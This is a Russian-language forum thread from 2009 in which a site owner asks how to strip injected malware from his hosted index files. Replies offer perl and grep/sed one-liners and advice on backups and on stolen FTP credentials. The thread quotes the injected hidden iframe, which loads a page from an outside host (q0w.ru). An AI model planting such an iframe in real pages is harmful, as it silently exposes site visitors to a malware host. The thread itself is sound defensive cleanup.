Страница 1 из 1

Помогите вырезать текст из файлов

Добавлено: 2009-07-30 21:25:26
sergio
На хостинге завелся вирусняк - дописывает в index.* свой код.

Нужен скрипт, который бы рекурсивно лазил по директориям, находил в файлах текст:

Код: Выделить всё

<iframe src="http://q0w.ru:8080/index.php" width=124 height=119 style="visibility: hidden"></iframe>
и удалял бы его.

Перепробовал уже и sed и awk и tr .
Немогу...

Третий день бюсь - не получается. Спасите. Помогите!!! :st:

Re: Помогите вырезать текст из файлов

Добавлено: 2009-07-30 21:35:30
paradox
может проще восстановить с бекапа сайт?

и загрузите картинку статически
а то ваши линки на киевский хостинг хромает
вообщем аватара невидно крестик

Re: Помогите вырезать текст из файлов

Добавлено: 2009-07-30 21:45:26
sergio
Дык старых бекапов нет. А веник не резиновый совсем...

Видимо давно засел, а обнаружил на днях.
Антивирус clamav стоит - его не видит.
Посему и вопрос встал - файлы почистить.

Re: Помогите вырезать текст из файлов

Добавлено: 2009-07-30 21:55:05
paradox
ну дерзайте в написании)
но я бы обратил внимание на то что вас скорее всего похачили
займитесь секьюрити проверкой на вашем сервере

Re: Помогите вырезать текст из файлов

Добавлено: 2009-07-30 22:04:53
f_andrey
sergio писал(а):Третий день бюсь - не получается. Спасите. Помогите!!! :st:
то есть за три дня вы не удосужились зайти на гугл и попробовать один из
google.com писал(а):Результаты 1 - 10 из примерно 141 000
рецептов?
Ну например вот навскидку, почти первая ссылка.

И как правильно сказал Парадокс, проверьте безопасность, не подсадили ли вам какого трояна, и не взлома ли ли хостинг :evil:

Re: Помогите вырезать текст из файлов

Добавлено: 2009-07-31 0:27:10
paix
f_andrey писал(а): Ну например вот навскидку, почти первая ссылка.
И как правильно сказал Парадокс, проверьте безопасность, не подсадили ли вам какого трояна, и не взлома ли ли хостинг :evil:
хотел написать человеку скрипт, но после прочтения ссылки такое желание отпало ;) Теже яйца, только в профиль. Сам выхватывал такую бяку несколько раз. Или подбирают пароль на фтп, или трояном крадут его с юзерской тачки, и заливают соотвествующий код.

Совет, который еще не звучал: перед удалением малваре из кода, сделать бекап данного сайта, а то мало ли ;) я однажды споткнулся.

Re: Помогите вырезать текст из файлов

Добавлено: 2009-07-31 10:20:02
sergio
Спасибо за

Код: Выделить всё

perl -pi -e 's/(\<body.*?\>)<iframe src=\".*/$1/' index.html
perl -pi -e ’s/\eval\(String\.fromCharCode\(.+\//g’

Судя по всему искать в google я совершенно не умею :(

Re: Помогите вырезать текст из файлов

Добавлено: 2009-07-31 18:15:48
sergio
При вставке строки

Код: Выделить всё

perl -pi -e ’s/\eval\(String\.fromCharCode\(.+\//g’
через putty символ "" заменяется на "."

Если же вместо точки напечатать "'" (апостроф) то
Substitution replacement not terminated at -e line 1.
:ROFL: :pardon:

Re: Помогите вырезать текст из файлов

Добавлено: 2009-07-31 19:15:34
paix
да ну, не врите. Все там работает.

Re: Помогите вырезать текст из файлов

Добавлено: 2009-07-31 19:43:09
sergio
Короче нашёл вроде рабочий вариант,
если кому надо:

Код: Выделить всё

grep -lr -e '<iframe src="http://.*</iframe>' * | xargs sed -i 's/<iframe src="http:\/\/.*<\/iframe>//g'

Re: Помогите вырезать текст из файлов

Добавлено: 2009-08-11 16:20:32
Initiate
Добрый всем день, нужен совет. Нужно написать что то вроде парсера, который бы читал из одного текстового файла инфу, а затем эту инфу загонял в другой файл вида хтмл, для удобства чтения. Возможно ли такое написать на bash? Если нет, то на чём лучше?
Спасибо :)

Re: Помогите вырезать текст из файлов

Добавлено: 2009-08-11 19:42:39
Гость
Initiate писал(а):Добрый всем день, нужен совет. Нужно написать что то вроде парсера, который бы читал из одного текстового файла инфу, а затем эту инфу загонял в другой файл вида хтмл, для удобства чтения. Возможно ли такое написать на bash?
возможно и на shell'е. Но за тебя это делать никто не будет.
лучше пиши на питоне или на лиспе. Меньше проблем будет потом с отладкой, особенно если парсируемый текста будет языком разметки.

Re: Помогите вырезать текст из файлов

Добавлено: 2009-08-11 20:51:23
Initiate
Я не прошу помочь мне написать что то, а просто интересуюсь на чём это лучше сделать. Питон не знаю, но думаю выучу :) Пасиба.